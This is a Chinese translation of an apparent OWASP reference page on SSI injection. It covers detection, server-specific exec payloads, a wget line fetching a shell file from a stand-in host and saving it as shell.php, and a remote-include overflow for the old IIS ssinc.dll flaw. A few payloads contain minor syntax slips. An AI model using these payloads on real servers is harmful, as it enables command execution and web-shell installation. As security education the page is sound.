最新版本(mm/dd/yy): 01/27/2016
翻译至Server-Side_Includes_(SSI)_Injection
描述
SSIs是web应用程序中使用的指令,用于提供带有动态内容的html页面。它们类似于CGIs,但是SSIs用于在加载当前页面之前或页面可视化时执行某些操作。因此,web服务器将在向用户提供页面之前分析SSI。
服务器端包含攻击允许通过在html页面中注入脚本或远程执行任意代码来利用web应用程序。它可以通过利用在应用程序中使用的SSI,或者通过用户的输入字段来强制使用SSI。
可以通过插入在SSI指令中使用的字符来检查应用程序是否正确验证输入字段数据,如下所示:
and [a-zA-Z0-9]
另一种发现应用程序是否易受攻击的方法是验证是否存在扩展名为.stm、.shtm和.shtml的页面。然而,缺少这些类型的页面并不意味着应用程序会受到SSI攻击的保护。
无论如何,只有当网络服务器允许SSI执行而没有进行适当的验证时,攻击才会成功。这可能导致在Web服务器进程所有者的权限下访问和操作文件系统和进程。
攻击者可以访问密码文件等敏感信息,并执行shell命令。SSI指令被注入到输入字段,并被发送到Web服务器。Web服务器在提供页面之前解析并执行指令。然后,当下次页面加载在用户浏览器时,攻击结果将可见。
风险因数
TBD
实例
示例1
用于SSI注入的命令因使用的服务器操作系统而异。以下命令表示应该用于执行OS命令的语法。
Linux:
目录列表文件:
<!--#exec cmd="ls" -->
访问目录:
<!--#exec cmd="cd /root/dir/">-->
执行脚本:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
Windows:
目录列表文件:
<!--#exec cmd="dir" -->
访问目录:
<!--#exec cmd="cd C:\admin\dir">-->
示例2
其他可用于访问和设置服务器信息的ssi示例:
若要更改错误消息输出:
<!--#config errmsg="File not found, informs users and password"-->
显示当前文档文件名:
<!--#echo var="DOCUMENT_NAME" -->
显示虚拟路径和文件名:
<!--#echo var="DOCUMENT_URI" -->
使用“配置”命令和“timefmt”参数,可以控制日期和时间输出格式:
<!--#config timefmt="A %B %d %Y %r"-->
使用“fsize”命令,可以打印选定文件的大小:
<!--#fsize file="ssi.shtml" -->
实例3
IIS版本4.0和5.0中的一个旧漏洞允许攻击者通过动态链接库(ssinc.dll)中的缓冲区溢出失败获取系统特权。“ssinc.dll”用于解释进程服务器端包含。 CVE 2001-0506。
通过创建包含SSI代码的恶意页面并强制应用程序加载此页面(路径遍历攻击),可以执行此攻击:
ssi_over.shtml
<!--#include file=”UUUUUUUU...UU”-->
PS:“u”的数目需要超过2049。
强制应用程序加载ssi_over.shtml页:
非恶意url:
www.vulnerablesite.org/index.asp?page=news.asp
恶意url:
www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml
如果IIS返回空白页,则表示出现溢出。在这种情况下,攻击者可能会操纵流程流并执行任意代码。
相关威胁代理
- 类别:命令执行(Category:Command Execution)
相关攻击
- 代码注入(Code Injection)
相关漏洞
- 输入验证漏洞(Input Validation Vulnerability)
相关控件
- 输入验证漏洞(Input Validation Vulnerability)